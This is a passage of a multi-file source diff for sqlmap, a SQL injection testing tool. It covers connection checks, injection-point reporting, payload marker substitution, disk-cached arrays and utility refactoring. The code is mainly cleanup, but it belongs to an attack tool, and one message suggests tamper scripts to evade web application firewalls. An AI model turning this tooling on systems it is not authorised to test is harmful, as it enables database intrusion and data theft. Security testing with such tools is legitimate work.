                    infoMsg = "NULL connection is supported with 'skip-read' method"
                    logger.info(infoMsg)

-    except SqlmapConnectionException, ex:
-        errMsg = getSafeExString(ex)
-        raise SqlmapConnectionException(errMsg)
+    except SqlmapConnectionException:
+        pass

    finally:
        kb.pageCompress = popValue()
@@ -1484,18 +1522,19 @@ def checkNullConnection():
    return kb.nullConnection is not None

 def checkConnection(suppressOutput=False):
-    if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
-        try:
-            debugMsg = "resolving hostname '%s'" % conf.hostname
-            logger.debug(debugMsg)
-            socket.getaddrinfo(conf.hostname, None)
-        except socket.gaierror:
-            errMsg = "host '%s' does not exist" % conf.hostname
-            raise SqlmapConnectionException(errMsg)
-        except socket.error, ex:
-            errMsg = "problem occurred while "
-            errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
-            raise SqlmapConnectionException(errMsg)
+    if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
+        if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
+            try:
+                debugMsg = "resolving hostname '%s'" % conf.hostname
+                logger.debug(debugMsg)
+                socket.getaddrinfo(conf.hostname, None)
+            except socket.gaierror:
+                errMsg = "host '%s' does not exist" % conf.hostname
+                raise SqlmapConnectionException(errMsg)
+            except socket.error, ex:
+                errMsg = "problem occurred while "
+                errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapConnectionException(errMsg)

    if not suppressOutput and not conf.dummy and not conf.offline:
        infoMsg = "testing connection to the target URL"
@@ -1523,6 +1562,16 @@ def checkConnection(suppressOutput=False):
        else:
            kb.errorIsNone = True

+
+        threadData = getCurrentThreadData()
+
+        if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
+            if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
+                conf.url = re.sub(r"https?://", "https://", conf.url)
+                match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
+                port = match.group(1) if match else 443
+                conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
+
    except SqlmapConnectionException, ex:
        if conf.ipv6:
            warnMsg = "check connection to a provided "
@@ -1553,8 +1602,8 @@ def checkInternet():
    content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
    return CHECK_INTERNET_VALUE in (content or "")

-def setVerbosity():  # Cross-linked function
+def setVerbosity():  # Cross-referenced function
    raise NotImplementedError

-def setWafFunctions():  # Cross-linked function
+def setWafFunctions():  # Cross-referenced function
    raise NotImplementedError
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -43,6 +43,7 @@ from lib.core.common import urldecode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -152,12 +153,15 @@ def _formatInjection(inj):
            vector = "%s%s" % (vector, comment)
        data += "    Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
        data += "    Title: %s\n" % title
-        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
+        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
        data += "    Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"

    return data

 def _showInjections():
+    if conf.wizard and kb.wizardMode:
+        kb.wizardMode = False
+
    if kb.testQueryCount > 0:
        header = "sqlmap identified the following injection point(s) with "
        header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -242,12 +246,15 @@ def _saveToResultsFile():
    for key, value in results.items():
        place, parameter, notes = key
        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
-        conf.resultsFP.writelines(line)
+        conf.resultsFP.write(line)

    if not results:
        line = "%s,,,,%s" % (conf.url, os.linesep)
-        conf.resultsFP.writelines(line)
+        conf.resultsFP.write(line)

+    conf.resultsFP.flush()
+
+@stackedmethod
 def start():
    """
    This function calls a function that performs checks on both URL
@@ -281,7 +288,7 @@ def start():
        try:

            if conf.checkInternet:
-                infoMsg = "[INFO] checking for Internet connection"
+                infoMsg = "checking for Internet connection"
                logger.info(infoMsg)

                if not checkInternet():
@@ -366,9 +373,8 @@ def start():
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        else:
-                            if targetUrl.find("?") > -1:
-                                firstPart = targetUrl[:targetUrl.find("?")]
-                                secondPart = targetUrl[targetUrl.find("?") + 1:]
+                            if '?' in targetUrl:
+                                firstPart, secondPart = targetUrl.split('?', 1)
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
@@ -402,8 +408,7 @@ def start():
            if conf.nullConnection:
                checkNullConnection()

-            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
-                and (kb.injection.place is None or kb.injection.parameter is None):
+            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # NOTE: this is not needed anymore, leaving only to display
@@ -581,11 +586,11 @@ def start():
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    raise SqlmapNoneDataException(errMsg)
                else:
-                    errMsg = "all tested parameters appear to be not injectable."
+                    errMsg = "all tested parameters do not appear to be injectable."

                    if conf.level < 5 or conf.risk < 3:
-                        errMsg += " Try to increase '--level'/'--risk' values "
-                        errMsg += "to perform more tests."
+                        errMsg += " Try to increase values for '--level'/'--risk' options "
+                        errMsg += "if you wish to perform more tests."

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += " Rerun without providing the option '--technique'."
@@ -608,15 +613,9 @@ def start():

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
-                        errMsg += "strongly advised to continue on with the tests. "
-                        errMsg += "Please, consider usage of tampering scripts as "
-                        errMsg += "your target might filter the queries."
+                        errMsg += "strongly advised to continue on with the tests."

-                    if not conf.string and not conf.notString and not conf.regexp:
-                        errMsg += " Also, you can try to rerun by providing "
-                        errMsg += "either a valid value for option '--string' "
-                        errMsg += "(or '--regexp')."
-                    elif conf.string:
+                    if conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
@@ -629,8 +628,8 @@ def start():

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
-                        errMsg += "involved (e.g. WAF) maybe you could retry "
-                        errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"
+                        errMsg += "involved (e.g. WAF) maybe you could try to use "
+                        errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -56,19 +56,19 @@ def setHandler():
    """

    items = [
-                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
-                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
-                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
-                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
-                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
-                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
-                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
-                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
-                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
-                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
-                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
-                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
-            ]
+        (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
+        (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
+        (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
+        (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
+        (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
+        (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
+        (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
+        (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
+        (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
+        (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
+        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+    ]

    _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
    if _:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -97,6 +97,7 @@ class Agent(object):
        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])
+        newValue = getUnicode(newValue) if newValue else newValue

        if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
            paramString = origValue
@@ -105,7 +106,7 @@ class Agent(object):
            else:
                origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
            origValue = origValue[origValue.rfind('/') + 1:]
-            for char in ('?', '=', ':'):
+            for char in ('?', '=', ':', ','):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
@@ -120,8 +121,8 @@ class Agent(object):
                origValue = _.split('=', 1)[1] if '=' in _ else ""
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
-            origValue = origValue.split(kb.customInjectionMark)[0]
            origValue = origValue[origValue.find(',') + 1:]
+            origValue = origValue.split(kb.customInjectionMark)[0]
            match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
            if match:
                origValue = match.group("value")
@@ -207,16 +208,6 @@ class Agent(object):

        return retVal

-    def fullPayload(self, query):
-        if conf.direct:
-            return self.payloadDirect(query)
-
-        query = self.prefixQuery(query)
-        query = self.suffixQuery(query)
-        payload = self.payload(newValue=query)
-
-        return payload
-
    def prefixQuery(self, expression, prefix=None, where=None, clause=None):
        """
        This method defines how the input expression has to be escaped
@@ -303,17 +294,21 @@ class Agent(object):
        if payload is None:
            return

-        _ = (
-                ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
-                ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
-                ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
-            )
-        payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
+        replacements = (
+            ("[DELIMITER_START]", kb.chars.start),
+            ("[DELIMITER_STOP]", kb.chars.stop),
+            ("[AT_REPLACE]", kb.chars.at),
+            ("[SPACE_REPLACE]", kb.chars.space),
+            ("[DOLLAR_REPLACE]", kb.chars.dollar),
+            ("[HASH_REPLACE]", kb.chars.hash_),
+            ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
+        )
+        payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)

-        for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
            payload = payload.replace(_, str(randomInt()))

-        for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
            payload = payload.replace(_, randomStr())

        if origValue is not None and "[ORIGVALUE]" in payload:
@@ -371,7 +366,7 @@ class Agent(object):
        rootQuery = queries[Backend.getIdentifiedDbms()]
        hexField = field

-        if 'hex' in rootQuery:
+        if "hex" in rootQuery:
            hexField = rootQuery.hex.query % field
        else:
            warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
@@ -937,7 +932,7 @@ class Agent(object):
            limitedQuery += " %s" % limitStr

        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-            if not " ORDER BY " in limitedQuery:
+            if " ORDER BY " not in limitedQuery:
                limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
            elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
                limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
@@ -1,15 +1,16 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

 try:
-   import cPickle as pickle
+    import cPickle as pickle
 except:
-   import pickle
+    import pickle

+import bz2
 import itertools
 import os
 import sys
@@ -18,6 +19,7 @@ import tempfile
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapSystemException
 from lib.core.settings import BIGARRAY_CHUNK_SIZE
+from lib.core.settings import BIGARRAY_COMPRESS_LEVEL

 DEFAULT_SIZE_OF = sys.getsizeof(object())

@@ -50,7 +52,7 @@ class BigArray(list):
    List-like class used for storing large amounts of data (disk cached)
    """

-    def __init__(self):
+    def __init__(self, items=[]):
        self.chunks = [[]]
        self.chunk_length = sys.maxint
        self.cache = None
@@ -58,6 +60,9 @@ class BigArray(list):
        self._os_remove = os.remove
        self._size_counter = 0

+        for item in items:
+            self.append(item)
+
    def append(self, value):
        self.chunks[-1].append(value)

@@ -80,12 +85,12 @@ class BigArray(list):
        if len(self.chunks[-1]) < 1:
            self.chunks.pop()
            try:
-                with open(self.chunks[-1], "rb") as fp:
-                    self.chunks[-1] = pickle.load(fp)
+                with open(self.chunks[-1], "rb") as f:
+                    self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
            except IOError, ex:
                errMsg = "exception occurred while retrieving data "
                errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)

        return self.chunks[-1].pop()

@@ -101,8 +106,8 @@ class BigArray(list):
            handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
            self.filenames.add(filename)
            os.close(handle)
-            with open(filename, "w+b") as fp:
-                pickle.dump(chunk, fp, pickle.HIGHEST_PROTOCOL)
+            with open(filename, "w+b") as f:
+                f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
            return filename
        except (OSError, IOError), ex:
            errMsg = "exception occurred while storing data "
@@ -110,7 +115,7 @@ class BigArray(list):
            errMsg += "make sure that there is enough disk space left. If problem persists, "
            errMsg += "try to set environment variable 'TEMP' to a location "
            errMsg += "writeable by the current user"
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)

    def _checkcache(self, index):
        if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -119,12 +124,12 @@ class BigArray(list):

        if not (self.cache and self.cache.index == index):
            try:
-                with open(self.chunks[index], "rb") as fp:
-                    self.cache = Cache(index, pickle.load(fp), False)
+                with open(self.chunks[index], "rb") as f:
+                    self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
            except IOError, ex:
                errMsg = "exception occurred while retrieving data "
                errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)

    def __getstate__(self):
        return self.chunks, self.filenames
@@ -134,15 +139,10 @@ class BigArray(list):
        self.chunks, self.filenames = state

    def __getslice__(self, i, j):
-        retval = BigArray()
-
        i = max(0, len(self) + i if i < 0 else i)
        j = min(len(self), len(self) + j if j < 0 else j)

-        for _ in xrange(i, j):
-            retval.append(self[_])
-
-        return retval
+        return BigArray(self[_] for _ in xrange(i, j))

    def __getitem__(self, y):
        if y < 0:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -9,6 +9,7 @@ import codecs
 import contextlib
 import cookielib
 import copy
+import distutils
 import getpass
 import hashlib
 import httplib
@@ -18,6 +19,7 @@ import locale
 import logging
 import ntpath
 import os
+import platform
 import posixpath
 import random
 import re
@@ -28,6 +30,7 @@ import sys
 import tempfile
 import threading
 import time
+import types
 import urllib
 import urllib2
 import urlparse
@@ -72,6 +75,7 @@ from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import LOGGING_LEVELS
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import OPTION_TYPE
 from lib.core.enums import OS
@@ -104,7 +108,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_MSSQL_SCHEMA
 from lib.core.settings import DEV_EMAIL_ADDRESS
 from lib.core.settings import DUMMY_USER_INJECTION
-from lib.core.settings import DYNAMICITY_MARK_LENGTH
+from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
 from lib.core.settings import ERROR_PARSING_REGEXES
 from lib.core.settings import FILE_PATH_REGEXES
 from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
@@ -592,9 +596,7 @@ def paramToDict(place, parameters=None):
                testableParameters[parameter] = "=".join(parts[1:])
                if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
                    _ = urldecode(testableParameters[parameter], convall=True)
-                    if (_.endswith("'") and _.count("'") == 1
-                      or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
-                      and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
+                    if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
                        warnMsg = "it appears that you have provided tainted parameter values "
                        warnMsg += "('%s') with most likely leftover " % element
                        warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -634,7 +636,7 @@ def paramToDict(place, parameters=None):
                                            elif isinstance(value, (bool, int, float, basestring)):
                                                original = current[key]
                                                if isinstance(value, bool):
-                                                    current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
+                                                    current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
                                                else:
                                                    current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
@@ -647,7 +649,7 @@ def paramToDict(place, parameters=None):
                                    message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
                                    message += "is JSON deserializable. Do you want to inject inside? [y/N] "

-                                    if not readInput(message, default='N', boolean=True):
+                                    if readInput(message, default='N', boolean=True):
                                        del testableParameters[parameter]
                                        testableParameters.update(candidates)
                                    break
@@ -866,7 +868,10 @@ def boldifyMessage(message):

 def setColor(message, bold=False):
    retVal = message
-    level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel")
+    level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
+
+    if isinstance(level, unicode):
+        level = unicodeencode(level)

    if message and getattr(LOGGER_HANDLER, "is_tty", False):  # colorizing handler
        if bold:
@@ -882,6 +887,21 @@ def setColor(message, bold=False):

    return retVal

+def clearColors(message):
+    """
+    Clears ANSI color codes
+
+    >>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
+    'Hello World'
+    """
+
+    retVal = message
+
+    if message:
+        retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
+
+    return retVal
+
 def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
    """
    Writes text to the stdout (console) stream
@@ -890,7 +910,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
    message = ""

    if not kb.get("threadException"):
-        if forceOutput or not getCurrentThreadData().disableStdOut:
+        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
            if kb.get("multiThreadMode"):
                logging._acquireLock()

@@ -995,8 +1015,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
            elif answer is None and retVal:
                retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))

+    if message and getattr(LOGGER_HANDLER, "is_tty", False):
+        message = "\r%s" % message
+
    if retVal:
-        dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True)
+        dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)

        debugMsg = "used the given answer"
        logger.debug(debugMsg)
@@ -1010,23 +1033,23 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
            else:
                options = unicode()

-            dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True)
+            dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)

-            debugMsg = "used the default behaviour, running in batch mode"
+            debugMsg = "used the default behavior, running in batch mode"
            logger.debug(debugMsg)

            retVal = default
        else:
-            logging._acquireLock()
-
-            if conf.get("beep"):
-                beep()
-
-            dataToStdout("\r%s" % message, forceOutput=True, bold=True)
-            kb.prependFlag = False
-
            try:
-                retVal = raw_input() or default
+                logging._acquireLock()
+
+                if conf.get("beep"):
+                    beep()
+
+                dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
+                kb.prependFlag = False
+
+                retVal = raw_input().strip() or default
                retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
            except:
                try:
@@ -1046,7 +1069,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
    if boolean:
        retVal = retVal.strip().upper() == 'Y'

-    return retVal
+    return retVal or ""

 def randomRange(start=0, stop=1000, seed=None):
    """
@@ -1171,7 +1194,7 @@ def banner():
        _ = BANNER

        if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
-            _ = re.sub("\033.+?m", "", _)
+            _ = clearColors(_)
        elif IS_WIN:
            coloramainit()

@@ -1349,7 +1372,7 @@ def parseTargetDirect():
                    raise SqlmapSyntaxException(errMsg)

                if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
-                    import _mssql
+                    __import__("_mssql")
                    import pymssql

                    if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
@@ -1359,17 +1382,17 @@ def parseTargetDirect():
                        raise SqlmapMissingDependence(errMsg)

                elif dbmsName == DBMS.MYSQL:
-                    import pymysql
+                    __import__("pymysql")
                elif dbmsName == DBMS.PGSQL:
-                    import psycopg2
+                    __import__("psycopg2")
                elif dbmsName == DBMS.ORACLE:
-                    import cx_Oracle
+                    __import__("cx_Oracle")
                elif dbmsName == DBMS.SQLITE:
-                    import sqlite3
+                    __import__("sqlite3")
                elif dbmsName == DBMS.ACCESS:
-                    import pyodbc
+                    __import__("pyodbc")
                elif dbmsName == DBMS.FIREBIRD:
-                    import kinterbasdb
+                    __import__("kinterbasdb")
            except:
                if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
                    pass
@@ -1397,10 +1420,10 @@ def parseTargetUrl():
        raise SqlmapGenericException(errMsg)

    if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
-        if ":443/" in conf.url:
-            conf.url = "https://" + conf.url
+        if re.search(r":443\b", conf.url):
+            conf.url = "https://%s" % conf.url
        else:
-            conf.url = "http://" + conf.url
+            conf.url = "http://%s" % conf.url

    if kb.customInjectionMark in conf.url:
        conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
@@ -1423,13 +1446,14 @@ def parseTargetUrl():
    conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")

    try:
-        _ = conf.hostname.encode("idna")
-    except LookupError:
-        _ = conf.hostname.encode(UNICODE_ENCODING)
-    except UnicodeError:
-        _ = None
+        conf.hostname.encode("idna")
+        conf.hostname.encode(UNICODE_ENCODING)
+    except (LookupError, UnicodeError):
+        invalid = True
+    else:
+        invalid = False

-    if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
+    if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
        errMsg = "invalid target URL ('%s')" % originalUrl
        raise SqlmapSyntaxException(errMsg)

@@ -1472,6 +1496,23 @@ def parseTargetUrl():
    if conf.url != originalUrl:
        kb.originalUrls[conf.url] = originalUrl

+def escapeJsonValue(value):
+    """
+    Escapes JSON value (used in payloads)
+
+    # Reference: https://stackoverflow.com/a/16652683
+    """
+
+    retVal = ""
+
+    for char in value:
+        if char < ' ' or char == '"':
+            retVal += json.dumps(char)[1:-1]
+        else:
+            retVal += char
+
+    return retVal
+
 def expandAsteriskForColumns(expression):
    """
    If the user provided an asterisk rather than the column(s)
@@ -1675,32 +1716,32 @@ def getCharset(charsetType=None):

    # Binary
    elif charsetType == CHARSET_TYPE.BINARY:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
        asciiTbl.extend(xrange(47, 50))

    # Digits
    elif charsetType == CHARSET_TYPE.DIGITS:
-        asciiTbl.extend([0, 9])
+        asciiTbl.extend((0, 9))
        asciiTbl.extend(xrange(47, 58))

    # Hexadecimal
    elif charsetType == CHARSET_TYPE.HEXADECIMAL:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
        asciiTbl.extend(xrange(47, 58))
        asciiTbl.extend(xrange(64, 71))
-        asciiTbl.extend([87, 88])  # X
+        asciiTbl.extend((87, 88))  # X
        asciiTbl.extend(xrange(96, 103))
-        asciiTbl.extend([119, 120])  # x
+        asciiTbl.extend((119, 120))  # x

    # Characters
    elif charsetType == CHARSET_TYPE.ALPHA:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
        asciiTbl.extend(xrange(64, 91))
        asciiTbl.extend(xrange(96, 123))

    # Characters and digits
    elif charsetType == CHARSET_TYPE.ALPHANUM:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
        asciiTbl.extend(xrange(47, 58))
        asciiTbl.extend(xrange(64, 91))
        asciiTbl.extend(xrange(96, 123))
@@ -1839,8 +1880,7 @@ def getPageWordSet(page):

    # only if the page's charset has been successfully identified
    if isinstance(page, unicode):
-        _ = getFilteredPageContent(page)
-        retVal = set(re.findall(r"\w+", _))
+        retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page)))

    return retVal

@@ -1892,7 +1932,7 @@ def isWindowsDriveLetterPath(filepath):

 def posixToNtSlashes(filepath):
    """
-    Replaces all occurances of Posix slashes (/) in provided
+    Replaces all occurrences of Posix slashes (/) in provided
    filepath with NT ones (\)

    >>> posixToNtSlashes('C:/Windows')
@@ -1903,7 +1943,7 @@ def posixToNtSlashes(filepath):

 def ntToPosixSlashes(filepath):
    """
-    Replaces all occurances of NT slashes (\) in provided
+    Replaces all occurrences of NT slashes (\) in provided
    filepath with Posix ones (/)

    >>> ntToPosixSlashes('C:\\Windows')
@@ -1984,7 +2024,7 @@ def parseXmlFile(xmlFile, handler):
        errMsg = "something appears to be wrong with "
